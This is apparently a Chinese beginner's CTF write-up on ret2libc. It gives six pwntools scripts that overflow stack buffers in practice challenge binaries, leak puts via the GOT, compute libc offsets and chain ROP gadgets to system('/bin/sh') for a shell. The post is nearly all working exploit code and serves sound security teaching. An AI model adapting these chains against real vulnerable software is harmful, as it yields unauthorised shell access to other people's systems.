PWN入门-ret2libc做题

[2021 鹤城杯]babyof

将puts的got表地址传给rdi,返回到puts的plt表上,将puts的got表地址泄漏,最后再返回到main上。

libc查出bin/sh和system的相对偏移,再构造新利用链打。

可惜垃圾libcsearcher没有这个libc版本,得在线查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
import struct
context(log_level='debug',os='linux',arch='amd64')
elf=ELF('./babyof')
p=remote("node4.anna.nssctf.cn",28930)
p.recvuntil("Do you know how to do buffer overflow?\n")
stack_overflow=b'a'*0x40+b'a'*8
ret_addr=p64(0x400506)
pop_rdi_ret_addr=p64(0x400743)
puts_got_addr=p64(elf.got["puts"])
puts_plt_addr=p64(elf.plt["puts"])
main_addr=p64(0x40066B)
payload1=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,puts_got_addr,puts_plt_addr,main_addr])
p.sendline(payload1)
puts_real_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
p.recvuntil("Do you know how to do buffer overflow?\n")

#以下代码应该是正确的,但是libsearch里没有... 只能到https://libc.blukat.me/上查
# libc=LibcSearcher('puts',puts_real_addr)
# libc_addr=puts_real_addr-libc.dump('puts')
# bin_sh_addr=libc_addr+libc.dump("str_bin_sh")
# system_addr=libc_addr+libc.dump("system")

libc_addr=puts_real_addr-0x080aa0
bin_sh_addr=p64(libc_addr+0x1b3e1a)
system_addr=p64(libc_addr+0x04f550)

payload2=flat([stack_overflow,ret_addr,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr])
p.sendline(payload2)
p.interactive()

[SWPUCTF 2021 新生赛]whitegive_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
import struct
elf=ELF('./attachment')
p=remote("node4.anna.nssctf.cn",28437)
stack_overflow=b'a'*0x10+b'a'*8
ret_addr=p64(0x400509)
pop_rdi_ret_addr=p64(0x400763)
puts_got_addr=p64(elf.got["puts"])
puts_plt_addr=p64(elf.plt["puts"])
main_addr=p64(0x4006D6)
payload1=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,puts_got_addr,puts_plt_addr,main_addr])
p.sendline(payload1)
puts_real_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_real_addr) #ubuntu-glibc (id libc6_2.23-0ubuntu11.3_amd64)
libc_addr=puts_real_addr-libc.dump('puts')
system_addr=p64(libc_addr+libc.dump('system'))
bin_sh_addr=p64(libc_addr+libc.dump('str_bin_sh'))
payload2=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr])
p.sendline(payload2)
p.interactive()

[CISCN 2019东北]PWN2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
import struct
context(log_level='debug',os='linux',arch='amd64')
elf=ELF('./attachment')
p=remote("node5.anna.nssctf.cn",28978)
stack_overflow=b'a'*0x58
pop_rdi_ret_addr=p64(0x400c83)
puts_got_addr=p64(elf.got["puts"])
puts_plt_addr=p64(elf.plt["puts"])
encrypt_addr=p64(elf.sym["encrypt"])
ret_addr=p64(0x4006b9)
payload1=flat([stack_overflow,pop_rdi_ret_addr,puts_got_addr,puts_plt_addr,encrypt_addr])
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(payload1)
puts_real_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_real_addr)
libc_addr=puts_real_addr-libc.dump("puts")
system_addr=p64(libc_addr+libc.dump("system"))
bin_sh_addr=p64(libc_addr+libc.dump("str_bin_sh"))
payload2=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr])
p.recvuntil("Input your Plaintext to be encrypted")
p.sendline(payload2)
p.interactive()

[BJDCTF 2020]babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.anna.nssctf.cn",28621)
elf=ELF('./attachment')
stack_overflow=cyclic(0x20+0x8)
ret_addr=p64(0x4004c9)
pop_rdi_ret_addr=p64(0x400733)
puts_got_addr=elf.got["puts"]
puts_plt_addr=elf.plt["puts"]
main_addr=elf.sym["main"]
payload1=flat([stack_overflow,pop_rdi_ret_addr,puts_got_addr,puts_plt_addr,main_addr])
p.recvuntil("Pull up your sword and tell me u story!")
p.sendline(payload1)
puts_real_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #libc6_2.23-0ubuntu10_amd64
log.success("Puts Addr: "+str(hex(puts_real_addr)))
libc_base=puts_real_addr-0x06f690
system_addr=libc_base+0x045390
bin_sh_addr=libc_base+0x18cd57
payload2=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr])
p.recvuntil("Pull up your sword and tell me u story!")
p.sendline(payload2)
p.interactive()

[HNCTF 2022 Week1]ezr0p64

从Ubuntu18开始,system函数要求16字节对齐,即调用前rip地址必须以0结尾。pwndbg动调,如果出现这种现象,可以在栈溢出后或system溢出前加上单ret的ROPgadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node5.anna.nssctf.cn",28065)
libc=ELF("./libc.so.6")
p.recvuntil("Gift :")
puts_real_addr=int(p.recv(14),16)
libc_base=puts_real_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
str_bin_sh_addr=libc_base+next(libc.search("/bin/sh"))
stack_overflow=cyclic(0x100+8)
ret_addr=p64(0x40101a)
pop_rdi_ret_addr=p64(0x4012a3)
payload1=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,str_bin_sh_addr,system_addr])
p.recvuntil("Start your rop.")
p.sendline(payload1)
p.interactive()

[LitCTF 2023]狠狠的溢出涅~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.anna.nssctf.cn",28576)
elf=ELF("./attachment")
libc=ELF("./libc-2.31.so")
stack_overflow=b'\x00'+cyclic(0x60+8-1)
ret_addr=p64(0x400556)
pop_rdi_ret_addr=p64(0x4007d3)
puts_got_addr=p64(elf.got["puts"])
puts_plt_addr=p64(elf.plt["puts"])
main_addr=p64(elf.symbols["main"])
payload1=flat([stack_overflow,pop_rdi_ret_addr,puts_got_addr,puts_plt_addr,main_addr])
p.recvuntil("Leave your message:")
p.sendline(payload1)
p.recvuntil("Ok,Message Received\n")
puts_real_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_real_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
str_bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\x00"))
payload2=flat([stack_overflow,ret_addr,pop_rdi_ret_addr,str_bin_sh_addr,system_addr])
p.recvuntil("Leave your message:")
p.sendline(payload2)
p.interactive()